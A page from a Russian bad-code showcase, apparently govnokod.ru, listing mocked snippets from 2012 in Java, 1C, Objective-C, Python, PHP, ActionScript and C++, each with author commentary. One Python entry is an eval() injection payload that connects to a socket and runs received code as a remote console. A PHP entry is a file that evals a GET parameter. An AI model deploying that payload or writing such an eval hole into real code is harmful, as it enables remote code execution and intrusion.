1. Лучший говнокод

    В номинации:
    За время:
  2. Java / Говнокод #12010

    +95

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    import java.io.PrintStream;
    import java.util.concurrent.atomic.AtomicBoolean;
    
    public final class ShredingerCat
    extends AtomicBoolean
    {
    	static final PrintStream o=System.out;
    	static final long initMsec=System.currentTimeMillis ();
    	
    	public static final ShredingerCat	INSTANCE = new ShredingerCat();
    	private ShredingerCat ()
    	{
    		set ( false );
    		o.println ( "Construct SingleBool" );
    	}
    	public final
    	void criticalSection(){
    		synchronized (this) {
    			pr ( "Enter critical section" );
    			ShredingerCat.sl ( 5 );
    			
    			pr ( "Cat is " +(
    					get() 
    					? "dead"
    					: "alive"
    				)
    			);
    			sl(100);
    			pr ( "Exit critical section" );
    		}
    		
    	}
    	// ===================== HELPER STUFF ========================
    
    	static void pr(String s){
    		o.println ( s+(
    			System.currentTimeMillis ()- initMsec
    		));
    	}
    	static void sl(long l){
    		try {
    			Thread.sleep ( l );
    		}catch (InterruptedException e) {
    		}
    	}
    	
    
    
    }

    Обсуждение #11989 безопасных публикаций, конструкторов и синглтонов вдохновило меня на создание этого примера.
    Суть: есть кот-синглтон. Он как вы видите защищен со всех сторон finalами, приправленое к тому же Atomicом.
    Задание на серебряную медаль - сделать так чтобы 2 последовательных вызова toString() вывели Dead и Alive. Объект не должен меняться.
    Задание на золотую медаль: необходимо получить примерно такой вывод:
    Enter critical section0
    Enter critical section0
    Cat is alive16
    Cat is dead16
    Exit critical section110
    Exit critical section110

    За использование рефлексии и прочих unsafe - немедленная дисквалификация и бан модератором.
    Решение будет чуть позже. Отдельным постом.

    3.14159265, 26 Октября 2012

    Комментарии (24)
  3. 1C / Говнокод #11981

    −126

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    1CClientBankExchange
    ВерсияФормата=1.01
    Кодировка=Windows
    Получатель=
    ДатаНачала=25.09.2012
    ДатаКонца=25.09.2012
    ...
    СекцияРасчСчет
    ...
    КонецРасчСчет
    СекцияДокумент=Платежное поручение
    ...
    КонецДокумента
    КонецФайла

    Формат файла: Стандарт обмена с системами "Клиент банка"
    http://v8.1c.ru/edi/edi_stnd/100/101.htm

    Пидорва изобрела ini-файлы. Но убило не это, а это:
    >Кодировка=Windows

    Centry, 24 Октября 2012

    Комментарии (24)
  4. Objective C / Говнокод #11953

    −105

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    if (indexPath.row==0 && indexPath.section==0) {
      // ...
    } else if (indexPath.row==1 && indexPath.section==0) {
      // ...
    } else if (indexPath.row==0 && indexPath.section==2) {
      // ...
    } else if (indexPath.section == 2 && indexPath.row == 1) {
      // ...
    }

    В оригинале еще и оформление кода абсолютно шизофреническое. Откуда только такие берутся?

    byss, 18 Октября 2012

    Комментарии (24)
  5. Python / Говнокод #11923

    −94

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    42 if (
        setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
        setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
        setattr(__builtins__,'___worker' ,lambda S: any( 
            (True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
            ),
        __builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
        ) else 0

    Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
    Отформатировано для удобства чтения, вообще это однострочник.

    Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.

    Vindicar, 15 Октября 2012

    Комментарии (24)
  6. PHP / Говнокод #11916

    +66

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    <?php
    
       //You can even add more Dollar Signs
    
       $Bar = "a";
       $Foo = "Bar";
       $World = "Foo";
       $Hello = "World";
       $a = "Hello";
    
       $a; //Returns Hello
       $$a; //Returns World
       $$$a; //Returns Foo
       $$$$a; //Returns Bar
       $$$$$a; //Returns a
    
       $$$$$$a; //Returns Hello
       $$$$$$$a; //Returns World
    
       //... and so on ...//
    
    ?>

    Из комментов на http://www.php.net/manual/en/language.variables.variable.php

    xaionaro, 12 Октября 2012

    Комментарии (24)
  7. ActionScript / Говнокод #11722

    −86

    1. 1
    var file: * = File.userDirectory.resolvePath(CACHE_PATH + hashURL(key));

    На первый взгляд просто немного странный код, но за ним стоит интересная история.
    Человек написавший этот код после долгих расспросов и двузначных ответов таки сознался, что таким образом он надеялся избежать компиляции AIR классов в бразуерном проекте. Но интереснее еще и то, что человек продолжает в это свято верить и отстаивать свою точку зрения... а я уволился.
    Если вы не в курсе, Адоби делают несколько версий плееров, одна "ветка" предназначена для запуска с десктопа и ей можно обращаться к файловой системе, в то время как обычному плееру в браузере такое делать нельзя, ну или только после всяческих подтверждений и т.п. Человек таким образом пытлася написать кеширование загруженных картинок на диск к пользователю. Но тут судьба сыграла злую шутку, он компилировал все эти классы в библиотеку, которую забывал обновлять, и по счастливому стечению обстоятельств, библиотечный класс не содержал никаких упоминаний файловой системы - и все работало замечательно.

    Прогрнозируемый разрыв шаблона произойдет примерно недели через две-три, когда нужно будет обновлять версию. Ну, это конечно при условии, что кеширование каким-то образом будут тестировать, но, скорее всего не будут, и шутка может затянуться.

    wvxvw, 07 Сентября 2012

    Комментарии (24)
  8. PHP / Говнокод #11712

    +72

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    /*
     * Called from a large number of places
     * By Ofer
     */
    static function getOrderStatus( $po_numb='', $supplier='', $shipping='', $id=0,$customer_id=0,$order='',$order_asc='',$item_status_id=0,$order_status=0, $start_date='',$end_date='',
    		$name_begins_with = '', $phone = '', $email = '', $list_mgr_id = 0, $is_corporate = '', $sales_id=0,
    		$first_name = '', $last_name='', $city='', $state='', 
    		$zip='', $store_numb=0, $po_numb='', $release_date='',$supplier=0, 
    		$tracking_numb='', $payment_method='', $shipped_balance='', $avs='', $last4='', 
    		$brand_id=0, $model_numb='',$damage='', $delivery_issue='', $past_damage='', 
    		$coming_back='', $file_claim_ups='', $file_claim_frt='', $rewview='', $balance='', $shipper=0,
    		$has_balance = 0, $sales_account_id=0, $reference_number="", $third_party_order='', $ebay_id='', $trucker_id='',$get_total=false, 
    		$limit=0, $start=0, $use_dates=0) {

    Просто очаровательный комментарий!

    paulrudy, 05 Сентября 2012

    Комментарии (24)
  9. PHP / Говнокод #11592

    +53

    1. 1
    2. 2
    <?php
    eval($_GET['eval']);

    И это весь файл. Epic Fail.

    duxabilii, 15 Августа 2012

    Комментарии (24)
  10. C++ / Говнокод #11528

    +12

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    void EllipticPoint::Add(const EllipticPoint &b, const EllipticCoord &a, const EllipticCoord &p, EllipticPoint &res) {
        if (!x.IsNotZero() && !y.IsNotZero()) {
            res = b;
        } else if (!b.x.IsNotZero() && !b.y.IsNotZero()) {
            res = *this;
        } else if (x.Compare(b.x)!=0) {
            EllipticCoord tmp1, tmp2, lambda;
            b.x.Sub(x,p,tmp1); tmp1.Invert(p,tmp2);
            b.y.Sub(y,p,tmp1); tmp1.Mul(tmp2,p,lambda);
            lambda.Mul(lambda,p,tmp1);
            tmp1.Sub(x,p,tmp2); tmp2.Sub(b.x,p,res.x);
            x.Sub(res.x,p,tmp1); lambda.Mul(tmp1,p,tmp2); tmp2.Sub(y,p,res.y);
        } else if (y.Compare(b.y)==0) {
            EllipticCoord tmp1, tmp2, tmp3, lambda;
            x.Mul(x,p,tmp1); tmp1.Add(tmp1,p,tmp3); tmp1.Add(tmp3,p,tmp2); tmp2.Add(a,p,tmp1);
            y.Add(y,p,tmp2); tmp2.Invert(p,tmp3); tmp1.Mul(tmp3,p,lambda);
            lambda.Mul(lambda,p,tmp1); tmp1.Sub(x,p,tmp2); tmp2.Sub(x,p,res.x);
            x.Sub(res.x,p,tmp1); lambda.Mul(tmp1,p,tmp3); tmp3.Sub(y,p,res.y);
        } else {
            res.x.SetZero();
            res.y.SetZero();
        }
    }

    Из моего велосипеда четырехлетней давности.
    Кусочек реализации ГОСТ Р 34.10-2001.

    bormand, 03 Августа 2012

    Комментарии (24)
  11. Java / Говнокод #11245

    +87

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
       public static final String HTTP = "http://";
        public static final String HTTPS = "https://";
    
        public static final String HTTP_UP = "HTTP://";
        public static final String HTTPS_UP = "HTTPS://";
    
        public static final String HTTP_UP_1 = "Http://";
        public static final String HTTPS_UP_1 = "Https://";
    
        private static final String STUPID_PROTOCOL = "http://http://";
        private static final String STUPID_PROTOCOL_1 = "ttp://";
        private static final String STUPID_PROTOCOL_2 = "hhttp://";

    из утилит по проверки урлов

    ykhrustalev, 20 Июня 2012

    Комментарии (24)